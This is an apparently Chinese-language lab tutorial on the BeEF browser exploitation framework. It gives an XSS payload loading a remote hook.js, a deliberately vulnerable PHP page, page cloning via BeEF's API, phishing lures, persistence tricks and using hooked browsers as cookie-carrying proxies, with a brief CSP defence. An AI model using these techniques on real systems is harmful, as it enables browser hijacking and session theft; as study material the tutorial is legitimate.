BeEF框架介绍
Ruby中内置的框架,用于评估浏览器的安全性创造一个链接来连接浏览器,链接通常是
JS编写的hook,在浏览器与服务器之间建立一个检测信号,可以允许攻击者向目标浏览器发送JS命令,浏览器再将回应返给攻击者其发送的是
web请求,发生在浏览器所配置的代理之上,能穿过防火墙。所以目标浏览器一旦运行了JS挂钩,那么攻击者对浏览器活动就有很高的权限这个
kali里面也是有内置的,但笔者建议把内置的删掉再安装最新的1
2
3
4apt-get purge --auto-remove beef
apt-get purge --auto-remove beef-xss
git clone https://github.com/beefproject/beef
./install然后去
config.yaml中更改默认密码使用
./beef启动./beef -x清理数据库beef控制台使用http://127.0.0.1:3000/ui/panel中访问图形化界面
点击箭头处链接浏览器就会上线,可以在左边栏看到

对于
Command模块,绿色代表可以在当前浏览器上执行,且当前使用用户不会察觉;下方的橙色代表可执行,但用户可能发觉;灰色代表无法确定该命令能否执行;红色可以执行,但结果未知,即无法生效挂钩浏览器
无论是反射型
xss或者arp欺骗,最终目的都是让目标浏览器访问/加载beef的hook页面http://127.0.0.1:3000/demos/basic.html以基本的反射型
xss为例首先需要一个易受
xss攻击的网站,新建一个php页面,代码如下1
2
3<HTML> <BODY> <FORM>
<INPUT TYPE=TEXT NAME=echo VALUE="<?php print $_REQUEST['echo']?>">
<INPUT TYPE=SUBMIT> </BODY></HTML>那么靶机访问
http://192.168.19.128/echo.php?echo=%22%3E%3Cscript%20src=%22http://192.168.19.128:3000/hook.js%22%3E%3C%2Fscript%3E%22则会成功链接ettercap DNS欺骗欺骗到
beef生成的钩子地址上即可自动注入挂钩
借助
beef injection framework自动重写web流量使其包含挂钩1
git clone https://github.com/SpiderLabs/beef_injection_framework
获取指纹实践
浏览器指纹
command-browser-fingerprint
用户指纹
包括浏览器存储的
cookie,用户会话历史,综合以上信息可知到用户常访问的网站类型用
beef高级演示页面来演示即靶机访问
[IP]:3000/demos/butcher/index.html
在下方填入的信息即便不提交,也可以在
beef中使用command-browser-get form value查看到
接下来跟着这位来复现一遍操作
初始化控制
XSS在真实环境中,对于
beef这种需要加载远程js的XSS攻击,存在一种更优的防御方法,即CSP,内容安全策略。其同于检测并削弱某些特定类型攻击。CSP规定页面从哪里加载脚本,以及对脚本做出限制,如限制执行js的eval()函数,如1
<meta http-equiv="Content-Security-Policy" content="default-src 'self' ">
该段指令让浏览器仅加载同源资源,以防止异源的
beef攻击有安全漏洞的
Web应用- 广告网路
社工
网站搭建
使用
beef自带的Web克隆功能,其默认在被克隆的网站内容中注入钩子,注意此克隆在beef被关闭后被销毁
1
2
3curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"[目标网站网址]","mount":"[放在本地的位置]"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=[上面的token]
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.baidu.com","mount":"/testclone"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=b75029028687f8dbdebdfb842d868ca516914e86
搭建成功后发现僵尸不上线,查看网站源码,发现是
js地址错误
到配置文件
config.yaml里
改成本机的
IP即可,随后重启服务诱饵
钓鱼邮件
需要模糊,缩短
url,并设计自己的邮件系统物理诱惑
有
html文件的u盘QR code感觉是最为保险的手段
中间人攻击
此类攻击仅当和受害者在同一网络下才可进行,考虑用
aircrack-ng破解wifi密码这里使用
mitmproxy,顺便记录一下使用时的问题安装
报错
11
2raise ValueError(f'mutable default {type(f.default)} for field '
ValueError: mutable default <class 'mitmproxy.contentviews.grpc.ProtoParser.ParserOptions'> for field parser_options is not allowed: use default_factory解决方案是更新
apt源并更新mitmproxy,大概原因是kali内置的版本过老,不支持本机的python3.111
2apt update
apt-get install mitmproxy报错
21
AttributeError: module 'OpenSSL.SSL' has no attribute 'DTLS_SERVER_METHOD'. Did you mean: 'TLS_SERVER_METHOD'?
应该是
pyOpenSSL的问题,更新一下1
pip3 install mitmproxy
但又遇到了
pip3报错1
error: externally-managed-environment
我搜到的解决方案是使用
1
pip3 install mitmproxy --break-system-packages
使用
在新版的
mitmproxy中-R参数已经失效,笔者目前并没有找到正确的脚本来进行钩子的插入(哭哭
持续控制
初始的控制仅发生在用户点击的页面内,一旦用户关闭该页面或浏览器就会失去控制,所以要尽可能维持控制以给后续的攻击争取时间
持续控制分为两种:持久通信,
beef服务器与僵尸之间通信技术的选择;持久存续,让用户尽可能停留在钩子页面持久通信
CORS跨域资源共享其扩展了同源策略的限制,允许页面读取来自其他来源的
http响应,即beef发送的命令对于浏览器一定是异源的,故其发送的每个http头部都包含:1
2Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET以允许来自任意地方的
post/get请求开启
Websocket通信其速度快于
beef默认使用的XMLHTTPRequest,但其不适用于低版本的浏览器:IE>=10,Firefox>=16.0,chrome>=23.0在默认下,
kali中其配置文件位于/usr/share/beef-xss/config.yaml做出如下修改
1
2
3# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: truebeef会根据浏览器版本自动选择是否使用websocket
持久存续
内嵌
iframe框架persistence-Create foreground iFrame模块,不需任何参数即可执行,在僵尸浏览器上创造一个100%的iframe在用户点击一个新界面时代码生效
其弊端是顶部的
url栏不会改变,如图
而对于使用
js渲染的页面则会出现页面混乱,点击无效等情况MitB浏览器中间人与中间人攻击不同,不需要处在同一网络下。
Persistence-Man In The Browser模块在僵尸浏览器中用js自动截获/发送http的内容,并异步展现给用户在用户正常访问的同时能保持钩子
其弊端也很明显,即不能打开图片
以及对于
js制作的跨域链接,由于MitB实现原理缺陷导致其无法控制新页面注意
MitB与iframe只能使用一种窗口事件处理
Persistence-Confirm Close Window不断弹出如下窗口
但如今的浏览器早已不再允许反复弹出,对于不同浏览器该模块有着不同表现
firefox和chrome只有在关闭浏览器时才会有弹窗;360在关闭当前页面或关闭浏览器时都会有弹窗;QQ点击关闭当前页面之后,它会打开一个新标签页去加载BeEF服务器的demo页面;搜狗全部都没有弹窗。如此仅能使用户多停留几秒,但这几秒也是值得争取的,所以可以与上两种的一种结合使用
动态底层弹出窗口Persistence-Create Pop Under可以在用户点击链接时弹出一个指向beef初始化页面的窗口。浏览器常常会阻止网站弹出,而由用户点击的操作则不影响弊端是如此只能弹出
beef窗口,会导致用户察觉,而且笔者这里用chrome复现失败
绕过同源策略与浏览器代理
SOP与DOM文档对象模型浏览器同源策略,限制不同源的交互,致使
beef仅能对被钩子钩住的页面所在域进行操作,绕过同源策略可以考虑旧版浏览器及其插件漏洞,或者利用Web的特性,这里介绍后者当子域之间需要相互访问时,如
login.site.com需要访问admin.site.com的表单,开发者会在admin.site.com所在页面加入如下js1
document.domain="site.com"
那么
site.com下所有子域都可以访问admin.site.com的DOM那么当
beef钩住test.site.com,可以查找具有此类的页面,从而小范围绕过SOP的限制SOP与CORS与上文类似的,由于
Web开发者错误的设置导致可以进行跨域资源共享,在子站test.site.com加入以下代码1
2Access-Control-Allow-Origin: *.site.com
Access-Control-Allow-Methods: OPTIONS, GET, POST会导致
site.com的所有子站都可以访问test.site.com的资源Tunneling Proxy浏览器代理beef中极为强大的一个功能对于被钩住的僵尸浏览器
A以及被钩住的域hook-domain.com,攻击浏览器B:B通过beef发送http请求,转为AJAX请求插入僵尸浏览器B随后要执行的js脚本中,浏览器B向域hook-domain.com发送一个AJAX请求,且请求带上了该网站的cookie,域返回的请求则会被钩子截取并返回给攻击浏览器A,而不会显示在浏览器B上完成这个实验需要三个不同的浏览器,僵尸浏览器
A,攻击者浏览器B用于登录beef服务器,攻击者浏览器C用于使用代理,三者不共享数据先去
extensions/proxy/config.yaml确保enable为true
对于被钩住的浏览器
B选择Use as proxy
如此,
beef所在主机的6789端口就是一个代理使用
firefox -P打开另一个不共享数据的浏览器
将其代理设为
127.0.0.1 port:6789与配置文件保持统一